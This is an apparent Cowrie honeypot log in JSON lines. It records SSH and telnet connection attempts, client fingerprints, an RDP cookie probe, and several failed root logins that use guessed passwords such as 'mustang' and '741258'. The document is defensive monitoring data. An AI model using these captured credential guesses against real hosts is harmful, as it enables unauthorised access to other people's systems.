{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:15.026235Z","src_ip":"115.68.226.124","session":"cc667b9145d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ionut","message":"login attempt [root/ionut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:16.016642Z","src_ip":"115.68.226.124","session":"cc667b9145d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:17.265777Z","src_ip":"115.68.226.124","session":"cc667b9145d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.431631326675415,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:18.642069Z","src_ip":"192.119.13.58","session":"8c20a2215806","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":41026,"dst_ip":"10.17.0.5","dst_port":22,"session":"441b0c06c765","protocol":"ssh","message":"New connection: 40.83.182.122:41026 (10.17.0.5:22) [session: 441b0c06c765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:28.483724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:28.492136Z","src_ip":"40.83.182.122","session":"441b0c06c765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:28.573885Z","src_ip":"40.83.182.122","session":"441b0c06c765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustang","message":"login attempt [root/mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:28.934242Z","src_ip":"40.83.182.122","session":"441b0c06c765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:30.020130Z","src_ip":"40.83.182.122","session":"441b0c06c765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.46480751037598,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:30.073935Z","src_ip":"192.119.13.58","session":"fe1b4f7f3218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.29452848434448,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:31.788890Z","src_ip":"192.119.13.58","session":"bfd5412fdc53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.34951090812683,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:32.454085Z","src_ip":"192.119.13.58","session":"59d17352391f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63241,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc53de05dae2","protocol":"ssh","message":"New connection: 152.42.212.128:63241 (10.17.0.5:22) [session: dc53de05dae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:34.016710Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:34.022755Z","src_ip":"152.42.212.128","session":"dc53de05dae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:34.026385Z","src_ip":"152.42.212.128","session":"dc53de05dae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.7602972984314,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:35.397367Z","src_ip":"192.119.13.58","session":"2468c05183f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.360432624816895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:36.460073Z","src_ip":"192.119.13.58","session":"2ca12ce0eed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.34529113769531,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:36.752487Z","src_ip":"192.119.13.58","session":"bb29c946552d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.99948048591614,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:36.855935Z","src_ip":"192.119.13.58","session":"70b70140d79f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.56836986541748,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:42.233260Z","src_ip":"192.119.13.58","session":"39e8e08bf155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51710,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14ca4603842","protocol":"telnet","message":"New connection: 192.119.13.58:51710 (10.17.0.5:23) [session: d14ca4603842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:44.395045Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52178,"dst_ip":"10.17.0.5","dst_port":23,"session":"61282eb0424e","protocol":"telnet","message":"New connection: 192.119.13.58:52178 (10.17.0.5:23) [session: 61282eb0424e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:44.575743Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":57658,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf7ed6c054b","protocol":"ssh","message":"New connection: 45.148.10.152:57658 (159.203.135.109:22) [session: ddf7ed6c054b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:45.584183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:45.589291Z","src_ip":"45.148.10.152","session":"ddf7ed6c054b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:45.673239Z","src_ip":"45.148.10.152","session":"ddf7ed6c054b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:46.040688Z","src_ip":"45.148.10.152","session":"ddf7ed6c054b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35732,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a3b644961e","protocol":"telnet","message":"New connection: 192.119.13.58:35732 (10.17.0.5:23) [session: 62a3b644961e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:49.221026Z"}
{"eventid":"cowrie.session.closed","duration":5.226585149765015,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:54.447514Z","src_ip":"192.119.13.58","session":"62a3b644961e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.38782835006714,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:54.748948Z","src_ip":"192.119.13.58","session":"9e7d4f8ffff6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55570,"dst_ip":"10.17.0.5","dst_port":23,"session":"033523dbf7bb","protocol":"telnet","message":"New connection: 192.119.13.58:55570 (10.17.0.5:23) [session: 033523dbf7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:56.483263Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56166,"dst_ip":"10.17.0.5","dst_port":23,"session":"717940ca583f","protocol":"telnet","message":"New connection: 192.119.13.58:56166 (10.17.0.5:23) [session: 717940ca583f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:56.679528Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":34924,"dst_ip":"159.203.135.109","dst_port":22,"session":"81710734f619","protocol":"ssh","message":"New connection: 109.172.54.111:34924 (159.203.135.109:22) [session: 81710734f619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:58.040899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:58.045418Z","src_ip":"109.172.54.111","session":"81710734f619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:58.145756Z","src_ip":"109.172.54.111","session":"81710734f619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"676767","message":"login attempt [root/676767] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:58.451345Z","src_ip":"109.172.54.111","session":"81710734f619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36608,"dst_ip":"10.17.0.5","dst_port":22,"session":"18fc898f06b2","protocol":"ssh","message":"New connection: 103.176.20.57:36608 (10.17.0.5:22) [session: 18fc898f06b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:59.041234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:59.044997Z","src_ip":"103.176.20.57","session":"18fc898f06b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:59.296793Z","src_ip":"103.176.20.57","session":"18fc898f06b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:59.552352Z","src_ip":"109.172.54.111","session":"81710734f619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234a","message":"login attempt [root/1234a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:00.051927Z","src_ip":"103.176.20.57","session":"18fc898f06b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":43130,"dst_ip":"10.17.0.5","dst_port":22,"session":"396c62a2dede","protocol":"ssh","message":"New connection: 103.164.9.74:43130 (10.17.0.5:22) [session: 396c62a2dede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:00.451466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:00.456465Z","src_ip":"103.164.9.74","session":"396c62a2dede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:00.663651Z","src_ip":"103.164.9.74","session":"396c62a2dede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:01.305006Z","src_ip":"103.176.20.57","session":"18fc898f06b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741258","message":"login attempt [root/741258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:01.523959Z","src_ip":"103.164.9.74","session":"396c62a2dede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:02.733723Z","src_ip":"103.164.9.74","session":"396c62a2dede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44502,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ed4e100d35","protocol":"telnet","message":"New connection: 192.119.13.58:44502 (10.17.0.5:23) [session: 36ed4e100d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:11.947882Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46868,"dst_ip":"10.17.0.5","dst_port":23,"session":"68061c1cbe09","protocol":"telnet","message":"New connection: 192.119.13.58:46868 (10.17.0.5:23) [session: 68061c1cbe09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:12.722664Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50296,"dst_ip":"10.17.0.5","dst_port":23,"session":"02afdddbeec2","protocol":"telnet","message":"New connection: 192.119.13.58:50296 (10.17.0.5:23) [session: 02afdddbeec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:13.847154Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42320,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce8b94984f0b","protocol":"telnet","message":"New connection: 192.119.13.58:42320 (10.17.0.5:23) [session: ce8b94984f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:20.512440Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44192,"dst_ip":"10.17.0.5","dst_port":23,"session":"985832c5c215","protocol":"telnet","message":"New connection: 192.119.13.58:44192 (10.17.0.5:23) [session: 985832c5c215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:21.098438Z"}
{"eventid":"cowrie.session.closed","duration":37.5434148311615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:22.119039Z","src_ip":"192.119.13.58","session":"61282eb0424e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50010,"dst_ip":"10.17.0.5","dst_port":23,"session":"854443dd846d","protocol":"telnet","message":"New connection: 192.119.13.58:50010 (10.17.0.5:23) [session: 854443dd846d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:22.885957Z"}
